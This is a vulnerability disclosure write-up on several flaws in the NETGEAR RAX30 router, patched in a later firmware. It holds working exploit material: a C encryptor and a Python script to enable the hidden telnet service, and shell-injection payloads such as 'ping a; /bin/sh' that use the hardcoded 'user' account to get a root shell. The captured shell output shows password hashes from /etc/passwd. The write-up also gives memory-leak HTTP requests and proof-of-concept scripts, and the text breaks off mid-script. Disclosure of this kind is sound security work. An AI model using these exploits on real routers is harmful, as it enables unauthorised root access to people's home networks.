NETGEAR Routers: A Playground for Hackers?

Summary
Advisories
Vulnerabilities

Telnet

PSV-2023-0008
– Telnet Default Account Privilege Escalation Breakout

Web Application

PSV-2022-???? –
JSON Response Stack Data Leak

SOAP Service

PSV-2023-0009
– Write HTTP Response Stack Pointer Leak

PSV-2022-???? –
SOAPAction Stack Buffer Overflow

PSV-2023-0010
– HTTP Body Off-By-One NULL Terminator Stack Canary Corruption

PSV-2023-0011
– HTTP Protocol Stack Buffer Overflow

PSV-2023-0012
– SOAP Parameters Stack Buffer Overflow

Conclusion

Summary

The following vulnerabilities were identified on the NETGEAR
Nighthawk WiFi 6 Router (RAX30 AX2400) and may exist on other NETGEAR
router models. All vulnerabilities discussed are patched in firmware
version 1.0.10.94.

Service
Vulnerability
NETGEAR PSV
Patched Firmware

Telnet
Telnet
Privilege Escalation Breakout

PSV-2023-0008
v1.0.10.94

Web Application
JSON Response
Stack Data Leak

Unknown
v1.0.9.92

SOAP Service
Write
HTTP Response Stack Pointer Leak

PSV-2023-0009
v1.0.10.94

SOAP Service
SOAPAction
Stack Buffer Overflow

Unknown
v1.0.9.92

SOAP Service
HTTP
Body NULL Terminator Stack Canary Corruption (DoS)

PSV-2023-0010
v1.0.10.94

SOAP Service
HTTP
Protocol Stack Buffer Overflow

PSV-2023-0011
v1.0.10.94

SOAP Service
SOAP
Parameters Stack Buffer Overflow

PSV-2023-0012
v1.0.10.94

The vulnerable firmware can be downloaded on NETGEAR’s website at RAX30-V1.0.7.78.zip
and RAX30-V1.0.9.92.zip.

Advisories

NETGEAR published the following advisories covering the majority of
these vulnerabilities:

Security
Advisory for Multiple Vulnerabilities on the RAX30, PSV-2023-0008
PSV-2023-0009

Security
Advisory for Pre-Authentication Buffer Overflow on the RAX30,
PSV-2023-0012

Vulnerabilities

Telnet

By design, no shell to gain command line access to the router was
documented by NETGEAR. However, it was observed that the binary
/usr/bin/pu_telnetEnabled was running on port 23/udp on the
router’s LAN side interface, which could receive a specially crafted
packet to enable telnet.

Various researchers have previously analyzed this binary in the past,
as seen at OpenWRT NETGEAR
Telnet Console
and GitHub
NETGEARTelnetEnable
. However, the provided code to enable telnet did
not work for this specific NETGEAR RAX30 AX2400 model. This is because,
for historical versions of /usr/bin/pu_telnetEnabled, the
admin password was sent in plaintext after being decrypted, whereas on
this version, the password was expected to be hashed using SHA-256
before encryption.

The /usr/bin/pu_telnetEnabled binary listened for a
custom encrypted packet containing the device admin username, admin
password and LAN MAC address. It was possible to reverse engineer the
binary by extracting the binary from the firmware image that could be
publicly downloaded from NETGEAR’s website. The exact specifics on the
packet format and encryption used remained the same as detailed in OpenWRT NETGEAR
Telnet Console
.

The following C program (telnet_packet_encrypt.c) was used to encrypt
the payload with the Blowfish algorithm and must be compiled with Rupan/blowfish.

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include “blowfish/blowfish.h”

// gcc telnet_packet_encrypt.c blowfish.c -o telnet_packet_encrypt

void printBuffer(uint8_t* buffer, int length)
{
for (int i = 0; i < length; i++)
printf(“%02x”, buffer[i]);
}

bool hexStringToBytes(char* hex, char* buffer, size_t bufferSize)
{
size_t hexLength = strlen(hex);

size_t index = 0;
for (size_t i = 0; i < hexLength; i += 2)
{
if (index >= bufferSize)
return false;
sscanf(hex + i, “%2hhx”, buffer[index]);
index++;
}
return true;
}

int main(int argc, char* argv[])
{
if (argc != 3)
{
printf(“Usage: %s <key> <hex-payload>”, argv[0]);
return 1;
}

char* key = argv[1];
size_t keyLength = strlen(key);

char* hexPayload = argv[2];
size_t hexPayloadLength = strlen(hexPayload);

// Ensure key is not empty
if (strlen(key) <= 0)
{
printf(“Error: Key parameter must not be empty.”);
return 2;
}

// Ensure hex payload is not empty
if (hexPayloadLength != 0x80 * 2)
{
printf(“Error: Payload parameter must be 0x80 bytes.”);
return 3;
}

// Ensure hex payload size is a multiple of 2
if (hexPayloadLength % 2 != 0)
{
printf(“Error: Payload parameter must be a valid hex string.”);
return 4;
}

// Get the hex payload as bytes
size_t plaintextBufferSize = (size_t)(hexPayloadLength / 2);
uint8_t* plaintextBuffer = (uint8_t*)malloc(plaintextBufferSize);
hexStringToBytes(hexPayload, plaintextBuffer, plaintextBufferSize);

// Initalise Blowfish
BLOWFISH_CTX gContext;
Blowfish_Init( gContext, key, keyLength);

// Encrypt plaintextBuffer to encryptedBuffer
uint32_t encryptedBuffer[plaintextBufferSize / sizeof(uint32_t)];
uint8_t* pPlaintextCurrent = plaintextBuffer;
for (uint8_t* pCurrent = (uint8_t*)encryptedBuffer; (uint64_t)pCurrent – (uint64_t)encryptedBuffer < plaintextBufferSize; pCurrent += 8)
{
uint8_t* pcVar2 = pCurrent 1;
uint8_t* pcVar6 = pPlaintextCurrent;
uint8_t* pcVar7;
do {
pcVar7 = pcVar6 + 1;
pcVar2 = pcVar2 + 1;
*pcVar2 = *pcVar6;
pcVar6 = pcVar7;
} while (pcVar7 != pPlaintextCurrent + 8);
Blowfish_Encrypt( gContext, (uint32_t*)pCurrent, (uint32_t*)(pCurrent + 4));
pPlaintextCurrent += 8;
}
printBuffer((uint8_t*)encryptedBuffer, plaintextBufferSize);
return 0;
}

The following Python3 script (pu_telnetenable.py) could then be
executed to enable telnet on port 23/tcp on the router if the supplied
username, password and MAC address are valid. This itself is not a
vulnerability as it was hidden functionality implemented by NETGEAR and
still required valid admin credentials in order to gain access to the
shell.

import socket
import subprocess
import os
import argparse
import re
import sys
import Crypto.Hash.SHA256
import Crypto.Hash.MD5

import sys

class Logger:
DEFAULT = 33[0m’
BLACK = 33[0;30m’
RED = 33[0;31m’
GREEN = 33[0;32m’
ORANGE = 33[0;33m’
BLUE = 33[0;34m’
PURPLE = 33[0;35m’
CYAN = 33[0;36m’
LIGHT_GRAY = 33[0;37m’
DARK_GRAY = 33[1;30m’
LIGHT_RED = 33[1;31m’
LIGHT_GREEN = 33[1;32m’
YELLOW = 33[1;33m’
LIGHT_BLUE = 33[1;34m’
LIGHT_PURPLE = 33[1;35m’
LIGHT_CYAN = 33[1;36m’
WIHTE = 33[1;37m’

@staticmethod
def write(message = ):
print(message)

@staticmethod
def space():
Logger.write()

@staticmethod
def fatal(code, message = ):
Logger.error(message)
sys.exit(code)

@staticmethod
def error(message = ):
Logger.write(Logger.RED + ‘[-] ‘ + message + Logger.DEFAULT)

@staticmethod
def warning(message = ):
Logger.write(Logger.ORANGE + ‘[!] ‘ + message + Logger.DEFAULT)

@staticmethod
def info(message = ):
Logger.write(Logger.BLUE + ‘[#] ‘ + Logger.DEFAULT + message)

@staticmethod
def success(message = ):
Logger.write(Logger.GREEN + ‘[+] ‘ + Logger.DEFAULT + message)

class Payload:
def __init__(self, username, password, mac, log = True):
self.username = username
self.password = password
self.mac = mac
self.signature = None

# SHA256 Hash password
self.sha256PasswordHash = Crypto.Hash.SHA256.new(self.password.encode(‘ascii’)).digest().hex()

# Create payload
if log:
Logger.info(‘Creating payload…’)
self.payload = self.create(log)

# Encrypt payload
if log:
Logger.info(‘Encrypting payload…’)
self.encrypted = self.encrypt(log)

# typedef struct {
# char signature[16]; // 0x00
# char mac[16]; // 0x10
# char username[16]; // 0x20
# char password[65]; // 0x30
# uint8_t reserved[15]; // 0x71
# } Payload;
def create(self, log = True):
# Pad variables
bMac = self.mac.encode(‘ascii’).ljust(16, bx00)
bUsername = self.username.encode(‘ascii’).ljust(16, bx00)
bPassword = self.sha256PasswordHash.encode(‘ascii’).ljust(65, bx00)
bReserved = bx00 * 15

# Build content
bContent = bMac + bUsername + bPassword + bReserved
assert(len(bContent) == 0x70)

# Build MD5 hash signature
self.signature = Crypto.Hash.MD5.new(bContent).digest()
bSignature = self.signature

# Build payload
bPayload = bSignature + bContent
assert(len(bPayload) == 0x80)

if log:
Logger.info()
Logger.info(‘payload {‘)
Logger.info(‘ signature: ‘ + bSignature.hex())
Logger.info(‘ mac: ‘ + bMac.hex() + ‘ (‘ + bMac.decode(‘ascii’) + ‘)’)
Logger.info(‘ username: ‘ + bUsername.hex() + ‘ (‘ + bUsername.decode(‘ascii’) + ‘)’)
Logger.info(‘ password: ‘ + bPassword.hex() + ‘ (‘ + bPassword.decode(‘ascii’) + ‘)’)
Logger.info(‘ reserved: ‘ + bReserved.hex())
Logger.info(‘}’)
Logger.info()

return bPayload

def encrypt(self, log = True):
key = “AMBIT_TELNET_ENABLE+” + self.sha256PasswordHash

# Encrypt the packet
process = subprocess.Popen([os.path.dirname(os.path.realpath(__file__)) + ‘/telnet_packet_encrypt’, key, self.payload.hex()], stdout=subprocess.PIPE)
stdout, stderr = process.communicate()

encryptedPayload = bytearray.fromhex(stdout.decode(‘ascii’))

if log:
Logger.info()
Logger.info(‘encrypted payload’)
for i in range(0, len(encryptedPayload), 8):
Logger.info(‘ ‘ + encryptedPayload[i:i + 8].hex())
Logger.info()

return encryptedPayload

def send(self, ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.sendto(self.encrypted, (ip, port))

class Validation:

@staticmethod
def validateUsername(username):
if len(username) <= 0:
return “admin”
if len(username) > 16:
Logger.fatal(1, ‘Username exceeds the maximum length of 16.’)
return username

@staticmethod
def validatePassword(password):
if password == None:
return “”
if len(password) > 65:
Logger.fatal(2, ‘Password exceeds the maximum length of 65.’)
return password

@staticmethod
def validateMac(mac):
mac = mac.replace(‘:’, ).upper()
if not re.match(r“[A-F0-9]{12}, mac):
Logger.fatal(3, ‘MAC address is invalid.’)
return mac

if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=‘Enable telnet on NETGEAR RAX30 router.’)
parser.add_argument(‘–ip’, default=‘192.168.1.1’, help=‘The NETGEAR router IP address.’)
parser.add_argument(‘–port’, default=23, type=int, help=‘The UDP port to connect to.’)
parser.add_argument(‘–username’, default=‘admin’, help=‘The account username.’)
parser.add_argument(‘–password’, help=‘The account password.’)
parser.add_argument(‘–mac’, required=True, help=‘The router LAN MAC address.’)

args = parser.parse_args()

if os.name == ‘nt’:
Logger.fatal(4, ‘Windows not supported’)

# Validate and create payload
payload = Payload(
Validation.validateUsername(args.username),
Validation.validatePassword(args.password),
Validation.validateMac(args.mac)
)

# Send payload
Logger.info(‘Sending payload…’)
payload.send(args.ip, args.port)

Logger.info(‘Payload sent!’)

PSV-2023-0008
– Telnet Default Account Privilege Escalation Breakout

A default account command injection breakout vulnerability was
present in the /lib/libcms_cli.so library imported by the
custom NETGEAR /bin/telnetd binary running on port 23/tcp.
By default, this port is not open in the firewall, and therefore it must
be opened in order to leverage this vulnerability. This port could be
opened by the hidden /usr/bin/pu_telnetEnabled service
running on port 23/udp, as discussed previously, or by another
vulnerability.

Authentication

The NETGEAR router ships with a default “user” account, which has a
hardcoded password of “user”. Standard authentication of this user to
telnet provides you with a telnet console that has a limited number of
commands:

┌──(kali㉿kali)-[~]
└─$ nc 192.168.2.1 23
!BCM96750 Broadband Router
Login: user
Password: user
> help
help
?
help
logout
exit
quit
reboot
exitOnIdle
ping
lanhosts
passwd
restoredefault
save
swversion
uptime
wan
> sh
telnetd::214.801:error:processInput:384:unrecognized command sh

As you can see, by default, the user only has permission to run a
small number of commands and cannot execute the hidden “sh” command due
to incorrect account permissions.

Shell Escape

The /lib/libcms_cli.so library handles the command line
command received by the user in the cli_processCliCmd
function. This function checks the first word of the command against a
list of commands in the libraries data section, which are stored using
the following C Command structure:

struct Command
{
char * name;
char * description;
uint8_t permission;
uint8_t lock;
uint8_t field4_0xa;
uint8_t field5_0xb;
void * execute;
};

The structure data in the binary for the vulnerable ping
command structure is seen below:

00039d98 23 5b 02 00 23 Command [27]
5b 02 00 c1 00
00 00 00 00 00
00039d98 23 5b 02 00 char * s_ping_00025b15+14 name = “ping”
00039d9c 23 5b 02 00 char * s_ping_00025b15+14 description = “ping”
00039da0 c1 uint8_t C1h permission
00039da1 00 uint8_t ” lock
00039da2 00 uint8_t ” field4_0xa
00039da3 00 uint8_t ” field5_0xb
00039da4 00 00 00 00 void * 00000000 execute

ping is a command the user has permission
to access, and additionally, it has a NULL execute function
pointer. Therefore, the code executes the command directly as a shell
command [1], as shown in the following cli_processCliCmd
function:

int cli_processCliCmd(char *command)
{
int ret = 0;

char _command [4096];
memset(_command,0,4096);
int cmp = strncasecmp(command, “netctl”, 6);
if (cmp == 0) {
command = command + 7;
}

// Copy command to local buffer
strcpy(_command, command);
size_t commandLength = strlen(_command);

// Calculate the command first word length
size_t givenCommandFirstWordLength = 0;
char* commandName = _command;
while ((givenCommandFirstWordLength != commandLength (*commandName != ‘ ‘))) {
givenCommandFirstWordLength = givenCommandFirstWordLength + 1;
commandName = commandName + 1;
}

// Find command in command list
uint8_t currentPermission = currPerm;
int commandIndex = 0;
Command *pCommand = pCommands;
while (true) {
commandName = pCommand->name;
size_t commandNameLength = strlen(commandName);

if (((commandNameLength == givenCommandFirstWordLength)
(ret = strncasecmp(_command, commandName, givenCommandFirstWordLength), ret == 0))
((currentPermission pCommand->permission) != 0)) break;

commandIndex++;
pCommand++;
if (commandIndex == 0x32) {
return 0;
}
}

[TRUNCATED]

// [1] If the command has no function pointer, execte command in shell
if ((code *)pCommands[commandIndex].execute == (code *)0x0) {
prctl_runCommandInShellWithTimeout(_command); // <— [1]
} else {
char* args;
if (givenCommandFirstWordLength == commandLength) {
args = _command + givenCommandFirstWordLength;
} else {
args = _command + givenCommandFirstWordLength + 1;
}

// Otherwise execute function pointer
(*(code *)pCommands[commandIndex].execute)(args);
}

[TRUNCATED]
return 1;
}

No data validation is performed on the command being executed;
therefore, we can provide various injection characters to execute
another command.

The following list is a subset of injection examples:

ping a; /bin/sh
ping 127.0.0.1 /bin/sh
ping a || /bin/sh
ping $(touch /tmp/example)
ping `/tmp/example`
ping a | touch /tmp/example

The following output snippet shows the command injection
vulnerability being leveraged to gain a root/admin shell:

┌──(kali㉿kali)-[~]
└─$ nc 192.168.1.1 23
!BCM96750 Broadband Router
Login: user
Password: user
> ping -c aa; /bin/sh
ping: invalid number ‘aa’

BusyBox v1.31.1 (2022-03-04 19:12:56 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

# cat /etc/passwd
admin:<redacted>:0:0:Administrator:/:/bin/sh
support:$1$QkcawmV.$VU4maCah6eHihce5l4YCP0:0:0:Technical Support:/:/bin/sh
user:$1$9RZrTDt7$UAaEbCkq.Qa4u0QwXpzln/:0:0:Normal User:/:/bin/sh
nobody:<redacted>:0:0:nobody for ftp:/:/bin/sh

Web Application

The web application allowed consumers to login to the website and
manage their router on the LAN/WLAN interface through a browser. The
majority of the web application functionality was only accessible from
an authenticated user, however some functionality was accessible as an
unauthenticated user.

PSV-2022-???? – JSON
Response Stack Data Leak

A memory read leak vulnerability existed in the unauthenticated web
/webs/pwd_reset/reset_pwd.cgi binary which ran by default
on the LAN interface of the RAX30 router. This binary is a custom
NETGEAR CGI binary which handled unauthenticated password reset HTTP
requests through the HTTP server.

This leak allowed you to read approximately 12 bytes from the stack
before reaching a NULL byte.

Analysis

The handle_checkSN (0x015f70) function is
shown below and handled a serial number check request as part of the
reset password process. When the JSON parameter
serialNumber was not found [2], the request JSON body [3]
was passed as the error message to jsonResponse
(0x0012cac) [4].

void handle_checkSN(int jsonData)
{
fprintf(stderr,“CGI_DEBUG> %s:%d: Enter check serial number…n,“cgi_device.c”,0xb5);
int serialNumberObj;

// Do not provide the “serialNumber” key to ensure we hit the following if statement
int iVar1 = json_object_object_get_ex(jsonData,“serialNumber”, serialNumberObj); // <— [2]
if (iVar1 == 0) {
fprintf(stderr,“CGI_ERROR> %s:%d: Failed to parse the input JSON data no serialNumber!!!n,“cgi_device.c”,0xd5);
// The json is retrieved from the “data” key
char *message = json_object_get_string(jsonData); // <— [3]

// JSON string is passed to jsonResponse
jsonResponse(“error”,message); // <— [4]
fprintf(stderr,“CGI_DEBUG> %s:%d: Exit check serial number…n,“cgi_device.c”,0xd9);
}
else {
[TRUNCATED]
}
return;
}

This function allocated a buffer of 1024 bytes on the stack [5] for
the response string and then copied 1023 bytes from the JSON request to
the buffer [6]. However, no NULL terminator was set at the end of the
buffer, therefore when providing a request of more than 1024 bytes, no
NULL value was present to terminate the string and the data following
the string was leaked until a NULL byte was found when printed with
printf [7].

void jsonResponse(char *status,char *message)
{
// Buffer of size 1024
char buffer [1024]; // <— [5]

int uVar1 = json_object_new_object();
int uVar2 = json_object_new_string(status);
json_object_object_add(uVar1, “status”, uVar2);
uVar2 = json_object_new_string(message);
json_object_object_add(uVar1, “message”, uVar2);
char *json = json_object_to_json_string_ext(uVar1, 2);

// Copy first 1023 bytes of JSON string to buffer
strncpy(buffer, json, 1023); // <— [6]

// No NULL terminator is set at buffer[1024] = ”, buffer is outputted to response
printf(“Content-Type: application/jsonnn%s”, buffer); // <— [7]
json_object_put(uVar1);
return;
}

HTTP Requests

The following request of 971 A characters in the JSON
data field value caused the server to respond with leaked memory data.
Only 971 characters were required because of the additional characters
appended by the server in the JSON response which in total resulted in
1024 bytes.

POST /pwd_reset/reset_pwd.cgi HTTP/1.1
Host: 192.168.2.1
ContentLength: 1008

{“function”:“checkSN”,“data”:{“”:“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”}}

The excess binary data could be seen after the JSON response:

HTTP/1.1 200 OK
ContentType: application/json
[TRUNCATED]
ContentLength: 1035
Server: lighttpd/1.4.59

{
“status”:“error”,
“message”:“{ “”: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA }”
}¶Ø}ƒ¶ /+Àw

Python Proof of Concept
Script

The following proof of concept script (reset_pw_check_sn_leak.py)
triggers the leak.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Leak memory from the web server on NETGEAR RAX30 router.’)
parser.add_argument(‘–ip’, default=‘192.168.0.1’, help=‘The NETGEAR router web IP.’)

args = parser.parse_args()

print(‘Leaking data…’)
limit = 30
for i in range(0, limit):
payload = ‘A’ * 971
response = requests.post(‘http://’ + args.ip + ‘/pwd_reset/reset_pwd.cgi’, json={
‘function’: ‘checkSN’,
‘data’: {
: payload
}
}, verify=False)

if b‘status”:”error’ in response.content:
overflow = response.content[1023:]
print(str(i + 1) + ‘/’ + str(limit) + ‘: ‘ + ” “.join([“{:02x}”.format(x) for x in overflow]))
else:
print(‘Received unexpected response from server!’)

Upon executing this script, we can see the leaked memory bytes
containing memory pointers.

└─$ python3 reset_pw_check_sn_leak.py
Leaking data…
1/10: b6 d8 0d 81 b6 28 8f e2 01 c0 77 01
2/10: b6 d8 0d 82 b6 28 1f 4c
3/10: b6 d8 cd 84 b6 28 3f ba
4/10: b6 d8 ad 84 b6 28 5f 59
5/10: b6 d8 7d 7e b6 28 df a6 01 c0 77 01
6/10: b6 d8 fd 80 b6 28 af 65
7/10: b6 d8 6d 87 b6 28 1f b1 01 c0 77 01
8/10: b6 d8 dd 87 b6 28 ff a9 01 c0 77 01
9/10: b6 d8 4d 7d b6 28 9f bf
10/10: b6 d8 3d 87 b6 28 cf 8e 01 c0 77 01

Patch v1.0.9.92

The buffer stack variable is now initialized with NULL
bytes and as only 1023 bytes are copied from the JSON string, the buffer
will always have a NULL terminator.

void jsonResponse(char *status,char *message)
{
// Buffer of size 1024
char buffer [1024];
memset(buffer, 0, 1024);

strncpy(buffer, json, 1023);
}

SOAP Service

A HTTPS SOAP service (/bin/soap_serverd) runs by default
on port LAN 5043/tcp. The custom NETGEAR SOAP service handles HTTPS
requests from the Nighthawk
App
when the mobile device is connected to the router on the
LAN/WLAN interface. The /bin/soap_serverd binary
auto-restarts after approximately 15 seconds when it has terminated or
crashed.

Checking the /bin/soap_serverd binary with checksec.py shows the
following protections are set:

└─$ checksec –file bin/soap_serverd
[*] ‘/bin/soap_serverd’
Arch: arm-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

The presence of these mitigation’s cause many vulnerabilities to be
ineffective on their own and usually require multiple vulnerabilities to
be chained together to overcome.

For example, a stack canary inserts a random 4 byte value at the end
of the stack variables and therefore any stack buffer overflow
vulnerabilities will corrupt this value before corrupting important
stack values such as the next return pointer. A check occurs at the end
of each function to validate the stack canary is not corrupted, however
if it is corrupt, the binary will terminate with the error message
“Stack smashing detected”.

Address layout randomization (ASLR) is enabled which changes the base
address of the main executable, libraries and the heap each time the
executable is ran. Therefore, hard-coded addresses cannot be used in the
vulnerability payload and instead a separate leak vulnerability is
required.

PSV-2023-0009
– Write HTTP Response Stack Pointer Leak

Analysis

A stack pointer leak vulnerability exists within the
writeHttpResponse (0x0018b4c) function which
handles sending the HTTP response to the API request. The vulnerability
occurs due to the executing of strncat [8] on the stack
buffer response without initialising the buffer with data.
Therefore, if any data exists in memory at the response
stack location that does not start with a NULL byte, that data will be
sent in the HTTP response before the main HTTP response.

void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message)
{
size_t responseLen;
char buffer [128];
char response [1024];

_writeHttpHeaders(httpCode, httpCodeStr, param_4, “text/html”);
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>n<BODY BGCOLOR=#cc9999><H4>%d %s</H4> n”, httpCode, httpCodeStr, httpCode, httpCodeStr);
strncat(response, buffer, 0x80); // Buffer is appended to any existing data in the response variable <— [8]
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “%sn, message);
strncat(response, buffer, 0x80);
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “<HR>n<ADDRESS><A HREF=%s>%s</A></ADDRESS>n</BODY></HTML>n, “http://schemas.xmlsoap.org/soap/encoding/”, OS/version UPnP/1.0 product/version);
strncat(response, buffer, 0x80);
responseLen = strlen(response);
__fprintf_chk(param_1->file, 1, response, responseLen);
return;
}

HTTP Requests

To trigger the stack pointer leak, a valid SOAP request with a large
SOAPAction buffer is sent to the SOAP service to create a large HTTP
response. This is done to avoid NULL bytes truncating the amount of data
that is leaked.

POST /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Length: 443
Host: 192.168.2.1:5043

<!–?xml version=”1.0″ encoding= “UTF-8” ?–>
<v:Envelope xmlns:i=“http://www.w3.org/2001/XMLSchema-instance” xmlns:d=“http://www.w3.org/2001/XMLSchema” xmlns:c=“http://schemas.xmlsoap.org/soap/encoding/” xmlns:v=“http://schemas.xmlsoap.org/soap/envelope/”>
<v:Header>
<SessionId></SessionId>
</v:Header>
<v:Body>
<n0:GetInfo xmlns:n0=“urn:NETGEAR-ROUTER:service:DeviceInfo:1” />
</v:Body>
</v:Envelope>

Next, an invalid request is made to trigger the
writeHttpResponse function call which returns the HTTP
response with the leaked data preceding it.

INVALID /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
Content-Length: 0
Host: 192.168.2.1:5043

The resulting response outputs the leaked memory before the HTTP
response, including a stack address pointer:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAResponse
xmlns:m=“urn:NETGEAR-ROUTER:service:DeviceInfo:1”>
<¨È×¾HTTP/1.1 400 Bad Request
Server: “OS/version” UPnP/1.0 “product/version”
Date: Fri, 02 Dec 2022 01:07:47 GMT
Content-Type: text/html
Connection: close

<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY BGCOLOR=“#cc9999”><H4>400 Bad Request</H4>
That method is not handled by us.
<HR>
<ADDRESS><A HREF=“http://schemas.xmlsoap.org/soap/encoding/”>“OS/version” UPnP/1.0 “product/version”</A></ADDRESS>
</BODY>

Python Proof of Concept
Script

The following proof of concept script (soap_cat_memory_leak.py) can
be executed to leak the stack address range and stack pointer address on
firmware version v1.0.9.92.

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import struct
import ssl
import socket

def sendLargeBuffer(url, length):

payload = ‘A’ * length

headers = {
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
